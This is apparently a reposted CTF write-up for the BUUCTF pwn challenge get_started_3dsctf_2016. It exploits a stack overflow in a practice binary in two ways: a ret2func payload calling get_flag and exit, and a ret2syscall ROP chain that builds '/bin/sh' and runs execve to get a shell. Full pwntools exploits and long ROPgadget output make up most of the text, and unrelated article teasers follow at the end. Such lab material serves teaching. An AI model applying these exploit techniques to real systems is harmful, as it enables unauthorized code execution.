buuctf-pwn-get_started_3dsctf_2016

news/2024/10/5 5:20:41

题目地址:https://buuoj.cn/challenges#get_started_3dsctf_2016

检查一下保护情况

拖进ida分析

主函数有个很明显的栈溢出漏洞

没有找到system函数,但是发现了这个函数

后面有两种解题思路

0x01 调用get_flag函数

这个函数读取了flag.txt,并输出内容,那么我们就想办法溢出到这里
这里使用cyclic测量溢出点,发现是溢出点是56
然后直接用if语句中的地址来作为返回地址,这样就不用控制参数了,get_flag_addr = 0x080489B8
在创建一个flag.txt用于本地测试

尝试溢出:payload=b'A'*56+p32(get_flag_addr)
这样发现本地可以读取flag,但远程不行
原因是当远程连接时如果没有正常退出,程序是不会给我们回显的,所以我们要让程序正常退出(不能报错)

找一找发现exit函数的地址 exit_addr = 0x0804E6A0
将它加到payload后面,当程序执行完get_flag函数后,就会执行exit函数,相当与将exit函数作为get_flag函数的返回值
不过这样就要构建正常的栈帧了,修改get_flag_addr = 0x080489A0 ,参数也要加上

最终的 payload = b'A'*56+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)

exp
from pwn import *p = remote("node5.buuoj.cn",26800)
#p = process("./get_started_3dsctf_2016")
#context(log_level="debug")param1 = 0x308cd64f
param2 = 0x195719d1
get_flag_addr = 0x080489a0
exit_addr=0x804e6a0payload = b'A'*56+p32(get_flag_addr)+p32(exit_addr)+p32(814536271)+p32(425138641)p.sendline(payload)
p.interactive()


成功读取flag

0x02 syscall

什么是系统调用

syscall(系统调用),就是通过调用系统函数来实现getshell的方式

在电脑中,系统调用(英语:system call),指运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务。
系统调用提供用户程序与操作系统之间的接口。大多数系统交互式操作需求在内核态执行。如设备IO操作或者进程间通信。

操作系统的进程空间可分为用户空间和内核空间,它们需要不同的执行权限。其中系统调用运行在内核空间。

系统调用和普通库函数调用非常相似,只是系统调用由操作系统内核提供,运行于内核核心态,而普通的库函数调用由函数库或用户自己提供,运行于用户态。

Linux 在x86上的系统调用通过 int 80h 实现,用系统调用号来区分入口函数。

系统调用原理

当应用程序需要调用一个系统调用时,首先需要将要调用的系统调用号放置到 eax 寄存器中,然后通过使用 int 0x80 指令触发调用 0x80 号软中断服务。
系统调用号位为0xb时会执行exec(功能和system相同)
此时参数分别为ebx,ecx,edx
ebx应该指向"/bin/sh"的地址,ecx=0,edx=0

ret2syscall

我们需要控制寄存器的值,使用ROPgadget

找一下控制eax的指令

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep eax
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x080b91e6 : pop eax ; ret
0x0804c56d : pop eax ; ret 0x80e
0x080d9ff8 : pop eax ; ret 0xfff7
0x080dfcd8 : pop eax ; ret 0xfff9
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
`0x080b91e6 : pop eax ; ret`这条可以用

找一下控制ebx的指令

ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "pop|ret" | grep ebx                                         
0x0809e102 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809e0fa : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0805bf3d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809e4c4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0809a7dc : pop ebx ; pop edi ; ret
0x0806fc09 : pop ebx ; pop edx ; ret
0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
0x080483b7 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080a25b6 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10
0x08096b1e : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14
0x080718b1 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc
0x0804ab66 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x08049a95 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x080509a5 : pop ebx ; pop esi ; pop edi ; ret
0x080498af : pop ebx ; pop esi ; pop edi ; ret 4
0x08049923 : pop ebx ; pop esi ; ret
0x080481ad : pop ebx ; ret
0x080d413c : pop ebx ; ret 0x6f9
0x08099f96 : pop ebx ; ret 8
0x0806fc31 : pop ecx ; pop ebx ; ret
0x08063adb : pop edi ; pop esi ; pop ebx ; ret
0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret
0x0809e0f9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x0807b1b0 : pop es ; pop ebx ; ret
0x0806fc08 : pop esi ; pop ebx ; pop edx ; ret
0x0805d090 : pop esi ; pop ebx ; ret
0x0805b8a0 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809efe2 : pop ss ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
`0x0806fc30 : pop edx ; pop ecx ; pop ebx ; ret`这条可以用

在找一下int 0x80

ROPgadget --binary get_started_3dsctf_2016 --only "int"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "int"
Gadgets information
============================================================
0x0806d7e5 : int 0x80

再找一下'/bin/sh'

ROPgadget --binary get_started_3dsctf_2016 --string "/bin/sh"
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --string "/bin/sh"                                            
Strings information
============================================================
没有,需要我们自己构造

先用vmmap找一下能写的段

vmmap
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATAStart        End Perm     Size Offset File0x8048000  0x80ea000 r-xp    a2000      0 /root/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016/get_started_3dsctf_2016                                                                                                                  0x80ea000  0x80ec000 rw-p     2000  a1000 /root/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016/get_started_3dsctf_2016                                                                                                                  0x80ec000  0x80ed000 rw-p     1000      0 [heap]0x80ed000  0x810f000 rw-p    22000      0 [heap]
0xf7ff8000 0xf7ffc000 r--p     4000      0 [vvar]
0xf7ffc000 0xf7ffe000 r-xp     2000      0 [vdso]
0xfffdd000 0xffffe000 rw-p    21000      0 [stack]
那么这里我选择了0x80eb050这个地址,将/bin/shell写入这里 bin_sh = 0x80eb050,后面如果不行可以改动这里的内容

找一下mov指令

ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret" | grep eax
┌──(root㉿kali)-[~/Desktop/Pwn/BUUCTF/12.get_started_3dsctf_2016]
└─# ROPgadget --binary get_started_3dsctf_2016 --only "mov|ret" | grep eax                                                     
0x080662d6 : mov al, byte ptr [ecx + 2] ; mov byte ptr [edx + 2], al ; mov eax, edx ; ret
0x080662f4 : mov al, byte ptr [ecx + 4] ; mov byte ptr [edx + 4], al ; mov eax, edx ; ret
0x0806818a : mov al, byte ptr [ecx + 8] ; mov byte ptr [edx + 8], al ; mov eax, edx ; ret
0x080662b0 : mov al, byte ptr [ecx] ; mov byte ptr [edx], al ; mov eax, edx ; ret
0x080662c0 : mov ax, word ptr [ecx] ; mov word ptr [edx], ax ; mov eax, edx ; ret
0x0805f9a9 : mov bh, 8 ; mov word ptr [edx], cx ; mov eax, dword ptr [esp + 4] ; ret
0x080b7ab3 : mov byte ptr [eax + 0x18d8], 4 ; ret
0x08079b3f : mov byte ptr [eax], 0 ; ret
0x080662d9 : mov byte ptr [edx + 2], al ; mov eax, edx ; ret
0x080662f7 : mov byte ptr [edx + 4], al ; mov eax, edx ; ret
0x0806633b : mov byte ptr [edx + 8], al ; mov eax, edx ; ret
0x0805d645 : mov byte ptr [edx - 1], al ; mov eax, dword ptr [esp + 4] ; ret
0x0805f2cc : mov byte ptr [edx - 1], cl ; mov eax, dword ptr [esp + 4] ; ret
0x08079b3c : mov byte ptr [edx], 0x2f ; mov byte ptr [eax], 0 ; ret
0x0805fa43 : mov byte ptr [edx], al ; mov eax, dword ptr [esp + 4] ; ret
0x080662b2 : mov byte ptr [edx], al ; mov eax, edx ; ret
0x0805f91b : mov byte ptr [edx], cl ; mov eax, dword ptr [esp + 4] ; ret
0x0805fa41 : mov dh, 0 ; mov byte ptr [edx], al ; mov eax, dword ptr [esp + 4] ; ret
0x0805f919 : mov dh, 8 ; mov byte ptr [edx], cl ; mov eax, dword ptr [esp + 4] ; ret
0x080a0a0c : mov dword ptr [0x68], eax ; ret
0x0809a661 : mov dword ptr [0x80eca08], eax ; ret
0x0804f859 : mov dword ptr [0x8900004c], eax ; ret 0xc483
0x08092839 : mov dword ptr [0x89fffdea], eax ; ret
0x0808644a : mov dword ptr [0xf6000016], eax ; ret 0xf40
0x0809742e : mov dword ptr [eax + 0x188], edx ; ret
0x0808c404 : mov dword ptr [eax + 0x20], ecx ; ret
0x080543cc : mov dword ptr [eax + 0x24], ecx ; mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
0x080b9178 : mov dword ptr [eax + 0x4c], edx ; ret
0x08054d21 : mov dword ptr [eax + 0x5c], 0 ; ret
0x080543cf : mov dword ptr [eax + 0xc], edx ; mov dword ptr [eax + 4], edx ; ret
0x080543d2 : mov dword ptr [eax + 4], edx ; ret
0x0808c401 : mov dword ptr [eax + 8], edx ; mov dword ptr [eax + 0x20], ecx ; ret
0x0809a776 : mov dword ptr [eax], ecx ; mov eax, dword ptr [0x80eca04] ; mov dword ptr [edx], eax ; ret
0x0808c3ff : mov dword ptr [eax], edx ; mov dword ptr [eax + 8], edx ; mov dword ptr [eax + 0x20], ecx ; ret
0x080701a5 : mov dword ptr [ecx + 4], eax ; mov eax, ecx ; ret
0x080b915e : mov dword ptr [ecx], eax ; mov eax, dword ptr [edx + 0x4c] ; ret
0x0804dc3c : mov dword ptr [edx + 0x14], ecx ; mov dword ptr [edx + 0xc], ebp ; mov dword ptr [edx + 0x18], eax ; ret
0x0804dc42 : mov dword ptr [edx + 0x18], eax ; ret
0x0804dc3f : mov dword ptr [edx + 0xc], ebp ; mov dword ptr [edx + 0x18], eax ; ret
0x08066317 : mov dword ptr [edx + 3], eax ; mov eax, edx ; ret
0x08066309 : mov dword ptr [edx + 4], eax ; mov eax, edx ; ret
0x0806637b : mov dword ptr [edx + 7], eax ; mov eax, edx ; ret
0x0806635d : mov dword ptr [edx + 8], eax ; mov eax, edx ; ret
0x0805d666 : mov dword ptr [edx - 2], eax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f35d : mov dword ptr [edx - 2], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d622 : mov dword ptr [edx - 4], eax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f225 : mov dword ptr [edx - 4], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x080712e9 : mov dword ptr [edx], eax ; mov eax, 0xffffffff ; ret
0x080662c4 : mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080557ab : mov dword ptr [edx], eax ; ret
0x0805f894 : mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0809cc7b : mov dword ptr [esp], eax ; mov eax, dword ptr [esp + 4] ; ret 0x14
0x0809cc34 : mov dword ptr [esp], eax ; mov eax, dword ptr [esp + 4] ; ret 0xc
0x080a0a0b : mov dword ptr gs:[0x68], eax ; ret
0x080712e8 : mov dword ptr gs:[edx], eax ; mov eax, 0xffffffff ; ret
0x0807b26c : mov dword ptr gs:[edx], eax ; ret
0x0805bd4c : mov eax, 0x16 ; ret
0x080d151b : mov eax, 0x45155e93 ; ret 0x591c
0x080dfcf4 : mov eax, 0x48000091 ; ret
0x080d9ff4 : mov eax, 0x58000034 ; ret 0xfff7
0x08059d1e : mov eax, 0x80eb520 ; ret
0x0807dbf4 : mov eax, 0xe8fffffb ; ret
0x08054870 : mov eax, 0xffffffff ; ret
0x0808fda0 : mov eax, 1 ; ret
0x0808fdb0 : mov eax, 2 ; ret
0x0808fdc0 : mov eax, 3 ; ret
0x0808fdd0 : mov eax, 4 ; ret
0x0808fde0 : mov eax, 5 ; ret
0x0808fdf0 : mov eax, 6 ; ret
0x0808fe00 : mov eax, 7 ; ret
0x080718c0 : mov eax, 8 ; ret 0xc
0x08055a50 : mov eax, dword ptr [0x80eb080] ; ret
0x08078930 : mov eax, dword ptr [0x80ec5c0] ; ret
0x0809a778 : mov eax, dword ptr [0x80eca04] ; mov dword ptr [edx], eax ; ret
0x0809a729 : mov eax, dword ptr [0x80eca08] ; ret
0x080aa3e0 : mov eax, dword ptr [0x80ecc9c] ; ret
0x08071a40 : mov eax, dword ptr [0x80eccd4] ; ret
0x08071a50 : mov eax, dword ptr [0x80eccdc] ; ret
0x080aecc5 : mov eax, dword ptr [0x89fffffe] ; ret 0xfa29
0x0808d044 : mov eax, dword ptr [eax + 0x24] ; mov eax, dword ptr [eax + 0x28] ; ret
0x0808d047 : mov eax, dword ptr [eax + 0x28] ; ret
0x08055a74 : mov eax, dword ptr [eax + 0x34] ; ret
0x080b90d4 : mov eax, dword ptr [eax + 0x48] ; ret
0x080b9144 : mov eax, dword ptr [eax + 0x4c] ; ret
0x080b9184 : mov eax, dword ptr [eax + 0x50] ; ret
0x080b91f4 : mov eax, dword ptr [eax + 0x54] ; ret
0x080b91e4 : mov eax, dword ptr [eax + 0x58] ; ret
0x080b9194 : mov eax, dword ptr [eax + 0x5c] ; ret
0x0809d830 : mov eax, dword ptr [eax + 4] ; ret
0x0807b1ec : mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x0807b1ea : mov eax, dword ptr [eax] ; mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x08066314 : mov eax, dword ptr [ecx + 3] ; mov dword ptr [edx + 3], eax ; mov eax, edx ; ret
0x08068174 : mov eax, dword ptr [ecx + 4] ; mov dword ptr [edx + 4], eax ; mov eax, edx ; ret
0x08066305 : mov eax, dword ptr [ecx + 4] ; mov word ptr [edx + 4], ax ; mov eax, edx ; ret
0x080681ca : mov eax, dword ptr [ecx + 7] ; mov dword ptr [edx + 7], eax ; mov eax, edx ; ret
0x080681ea : mov eax, dword ptr [ecx + 8] ; mov dword ptr [edx + 8], eax ; mov eax, edx ; ret
0x080681ab : mov eax, dword ptr [ecx + 8] ; mov word ptr [edx + 8], ax ; mov eax, edx ; ret
0x080662e0 : mov eax, dword ptr [ecx] ; mov dword ptr [edx], eax ; mov eax, edx ; ret
0x080557a9 : mov eax, dword ptr [ecx] ; mov dword ptr [edx], eax ; ret
0x080662c1 : mov eax, dword ptr [ecx] ; mov word ptr [edx], ax ; mov eax, edx ; ret
0x080b9160 : mov eax, dword ptr [edx + 0x4c] ; ret
0x080b9174 : mov eax, dword ptr [esp + 4] ; mov dword ptr [eax + 0x4c], edx ; ret
0x08055a70 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x34] ; ret
0x080b90d0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x48] ; ret
0x080b9140 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x4c] ; ret
0x080b9180 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x50] ; ret
0x080b91f0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x54] ; ret
0x080b91e0 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x58] ; ret
0x080b9190 : mov eax, dword ptr [esp + 4] ; mov eax, dword ptr [eax + 0x5c] ; ret
0x08055a80 : mov eax, dword ptr [esp + 4] ; ret
0x0809cc7e : mov eax, dword ptr [esp + 4] ; ret 0x14
0x0809cc37 : mov eax, dword ptr [esp + 4] ; ret 0xc
0x080b96d2 : mov eax, dword ptr [esp] ; ret
0x0807b1e9 : mov eax, dword ptr gs:[eax] ; mov eax, dword ptr [eax + edx*4 + 0x40] ; ret
0x080701a8 : mov eax, ecx ; ret
0x080662b4 : mov eax, edx ; ret
0x0805f892 : mov ecx, dword ptr [eax] ; mov dword ptr [edx], ecx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d35d : mov edi, eax ; mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x0805d35f : mov esi, edx ; mov eax, dword ptr [esp + 4] ; ret
0x0807a5ab : mov fs, word ptr [eax + 0x29fffffe] ; ret 0xc101
0x08066308 : mov word ptr [edx + 4], ax ; mov eax, edx ; ret
0x0806635c : mov word ptr [edx + 8], ax ; mov eax, edx ; ret
0x0805d665 : mov word ptr [edx - 2], ax ; mov eax, dword ptr [esp + 4] ; ret
0x0805f35c : mov word ptr [edx - 2], cx ; mov eax, dword ptr [esp + 4] ; ret
0x080662c3 : mov word ptr [edx], ax ; mov eax, edx ; ret
0x0805f9ab : mov word ptr [edx], cx ; mov eax, dword ptr [esp + 4] ; ret
`0x080557ab : mov dword ptr [edx], eax ; ret` 这条不错

先将bin_sh写入edx,再将'/bin'写入eax,利用mov将'/bin'写入bin_sh地址处
再将bin_sh+4写入edx,重复上一次步骤写入'/sh\x00'
这样就构造好'/bin/sh'了

要找的齐了,下面开始写exp

exp
from pwn import *p = process("./get_started_3dsctf_2016")pop_eax = 0x080b91e6
pop_edx_ecx_ebx = 0x0806fc30
int_0x80 = 0x0806d7e5
bin_sh = 0x80eb050
mov_edx_eax = 0x080557abpayload = b'A'*56+p32(pop_eax)+b'/bin'+ p32(pop_edx_ecx_ebx)+p32(bin_sh)+p32(0)+p32(0)+p32(mov_edx_eax) # 写'/bin'
payload+= p32(pop_eax)+b'/sh\x00'+p32(pop_edx_ecx_ebx)+p32(bin_sh+4)+p32(0)+p32(0)+p32(mov_edx_eax) # 写'/sh\x00'
payload+= p32(pop_eax)+p32(0xb)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80) # 系统调用p.sendline(payload)
p.interactive()

获取shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28785.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

群晖存储池损毁,加上错误操作删除

如何联系本人? 储存池被我误删除了,导致无法正常通过,格式化群晖第一、第二分区进行恢复。系统损毁了,先导出群晖设置,进入pe使用DiskGenius格式化你所有硬盘的第一个和第二个分区(大约是1-2个G大小的分区)切记不是删除分区, 第三个分区千万不要动,那是数据分区,然后…

第一个C++程序

C++你好 #include "iostream" using namespace std;int main() {cout << "Hello World!!"<< endl;return 0; } 代码解析

Shell编程规范与变量

目录1.Shell脚本概述2.Shell编程规范(1)编写脚本代码(2)脚本编写结构(3)Shell脚本的运行3.重定向与管道(1)交互式硬件设备(2)重定向操作(3)管道操作“|”4.Shell脚本变量(1)自定义变量(1)定义一个新的变量(2)赋值时使用引号(3)设置变量的作用范围(4)整数…

C++面试题(三)

1、程序有哪些section,分别的作用?程序启动的过程?怎么判断数据分配在栈上还是堆上?如上图,从低地址到高地址,一个程序由代码段、数据段、 BSS 段组成。 \1. 数据段:存放程序中已初始化的全局变量和静态变量的一块内存区域。 \2. 代码段:存放程序执行代码的一块内存区域…

珂朵莉树/颜色段均摊

名称简介 珂朵莉树(Chtholly Tree),又名老司机树 ODT(Old Driver Tree)。起源自 CF896C。 注意,这种想法的本质是基于数据随机的「颜色段均摊」,而不是一种数据结构,下文介绍的操作是这种想法的具体实现方法。 前置知识 会用 STL 的 set 就行。 核心思想 把值相同的区间…

1、数仓基础

1、数据仓库的概念 数据仓库(英语:Data Warehouse,简称数仓、DW),是一个用于存储、分析、报告的数据系统。数据仓库的目的是构建面向分析的集成化数据环境,为企业提供决策支持(Decision Support)。数据仓库本身并不“生产”任何数据,其数据来源于不同外部系统;…

第七章——程序设计语言基础知识

基本概念,编译与解释,文法,有限自动机。正规式,表达式,传值与引用(传值),各种程序语言特点第七章——程序设计语言基础知识 7.1 基本概念 7.1.1 低级语言和高级语言 通常称机器语言和汇编语言为低级语言。机器语言是指用0、1字符串组成的机器指令序列,是最基本的计算机语…

软件设计师:软件工程基础知识

能力模型 CMM(能力成熟度模型)初始级:没明确定义 可重复级:建立基本的项目管理过程和实践 已定义级:文档化、标准化 已管理级:管理层制定了软件过程和产品质量的详细度量标准 优化级:不断持续地改进CMMI(能力成熟度模型集成)基本不考已执行的:可标识的输入转换为可标…